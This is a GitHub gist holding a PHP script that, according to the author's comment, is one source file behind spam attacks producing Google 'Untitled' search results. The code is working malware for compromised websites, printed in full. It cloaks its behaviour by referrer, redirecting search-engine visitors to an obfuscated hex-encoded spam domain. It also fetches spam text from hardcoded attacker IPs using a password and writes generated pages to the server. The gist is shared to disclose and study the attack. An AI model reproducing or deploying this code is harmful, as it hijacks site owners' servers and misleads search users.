Skip to content

Instantly share code, notes, and snippets.

@devidw
Created January 30, 2022 03:09
Show Gist options
  • Save devidw/ce2bdb78bb2e30a8e8437acc2c587d4c to your computer and use it in GitHub Desktop.
Save devidw/ce2bdb78bb2e30a8e8437acc2c587d4c to your computer and use it in GitHub Desktop.
Google 'Untitled'
<?php
error_reporting(0);
if ($_GET["fn"] == "2021st") $_GET["fn"] = "2022st";
if ($_GET["world"] == 15) $_GET["world"] = 5;
if ($_GET["looping"] == 35) $_GET["looping"] = 135;
$apass = "vsio323bacsdi";
foreach ($_GET as $a => $b)
{
$_GET["id"] = $b;
}
if ($_GET["id"] == 'testing')
{
include ("testing.php");
}
$x1 = 3;
$xx1 = 5;
$tpl = "xxx";
$keyword = str_replace("-", " ", $_GET["id"]);
$keyword = str_replace(" ", "+", $keyword);
$s = dirname($_SERVER['PHP_SELF']);
if ($s == '\\' | $s == '/')
{
$s = ('');
}
$s = $_SERVER['SERVER_NAME'] . $s;
$today = "20220126-";
if ((strpos($_SERVER['HTTP_REFERER'], "google.")) or (strpos($_SERVER['HTTP_REFERER'], "yahoo.")) or (strpos($_SERVER['HTTP_REFERER'], "bing.")))
{
$tpl = $_GET["id"] . ".php.tpl";
$tpl = file($tpl);
$tpl = chop($tpl[0]);
header("Location: http://\143\x68\x70\x6f\x6b\x2e\163\151\x74\x65\57\x65\156\x74\x65\162/?mark=$today-$s&tpl=$tpl&engkey=$keyword");
exit;
}
else
{
$myname = $_GET["id"] . ".php";
if (file_exists($myname))
{
$html = file($myname);
$html = implode($html, "");
echo $html;
exit;
}
}
//$num_temple = rand(1,9);
if (!file_exists("xyz.txt"))
{
$file = fopen("xyz.txt", "w");
fwrite($file, "1");
fclose($file);
}
$tpl = file("xyz.txt");
$num_temple = chop($tpl[0]);
$newtpl = $num_temple + 1;
if ($newtpl > 3) $newtpl = 1;
$outtpl = fopen("xyz.txt", "w");
fwrite($outtpl, $newtpl);
fclose($outtpl);
if ($num_temple == 1) $tpl = base64_decode("PCFET0NUWVBF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Fpbi1wcm9ncmFtbWUiIGNsYXNzPSJyZWNlbnQtbmV3cyBpcy1wcm9tb3RlZCBmdWxsIGNsZWFyZml4Ij4KCiAgCiAgICAKCiAgCiAgPC9hcnRpY2xlPgo8ZGl2IGNsYXNzPSJjb250ZW50Ij4KICAgIAogICAgICAgICAgICAKPGRpdiBjbGFzcz0iZmllbGQgZmllbGQtLW5hbWUtYm9keSBmaWVsZC0tdHlwZS10ZXh0LXdpdGgtc3VtbWFyeSBmaWVsZC0tbGFiZWwtaGlkZGVuIGZpZWxkLS1pdGVtIj4KPHA+e2tleXdvcmR9LiB7bWFueXRleHRfYmluZ308L3A+CjwvZGl2Pgo8L2Rpdj4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KPC9kaXY+CjwvZGl2PgoKCiAgICAKICAgIAoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgIAogIAo8L2JvZHk+CjwvaHRtbD4K");
$keyword = str_replace("-", " ", $_GET["id"]);
$keyword = chop($keyword);
$keyword = ucfirst($keyword);
$query_pars = $keyword;
$query_pars_2 = str_replace(" ", "+", chop($query_pars));
$query_pars_2 = mb_strtolower($query_pars_2);
$text = "";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://" . $_GET["looping"] . ".181.21.126/" . $_GET["fn"] . ".php?pass=$apass&q=$_GET[id]");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
$text = curl_exec($ch);
curl_close($ch);
if (strlen($text) < 5000) $text = file_get_contents("http://" . $_GET["looping"] . ".181.21.126/" . $_GET["fn"] . ".php?pass=$apass&q=$_GET[id]");
if (strlen($text) < 5000)
{
$url = $_GET["looping"] . ".181.21.126";
$fp = fsockopen($url, 80, $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr ($errno)<br />\n";
}
else
{
$req = "/" . $_GET["fn"] . ".php?pass=$apass&q=$_GET[id]";
$out = "GET $req HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp))
{
$text = $text . fgets($fp, 128);
}
fclose($fp);
}
}
$zzzzz = $_GET["world"];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$zzzzz.45.76.20/input/page.php?id=$today");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
$text2 = curl_exec($ch);
curl_close($ch);
$keyword = ucfirst($keyword);
/*
$title = explode(".", $text);
shuffle($title);
if (strlen($title[0])>30) $title = $title[0];
else $title = $title[0].". ".$title[1];
$title = $keyword.". ".$title;
*/
$text = $text . "<br><br>\n\n\n\n" . $text2;
$html = $tpl;
$html = str_replace("{keyword}", $keyword, $html);
$html = str_replace("{manytext_bing}", $text, $html);
//$html = str_replace("<title></title>", "<title>$title</title>", $html);
if (strlen($text) > 5000)
{
$out = fopen($myname, "w");
fwrite($out, $html);
fclose($out);
$out = fopen($myname . ".tpl", "w");
fwrite($out, $num_temple);
fclose($out);
}
else exit;
echo $html;
?>
@devidw
Copy link
Author

devidw commented Jan 30, 2022

This script is one of the source files behind the spam attacks resulting in the Google 'Untitled' search results.
Read about how I come across this source file and what it's doing.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment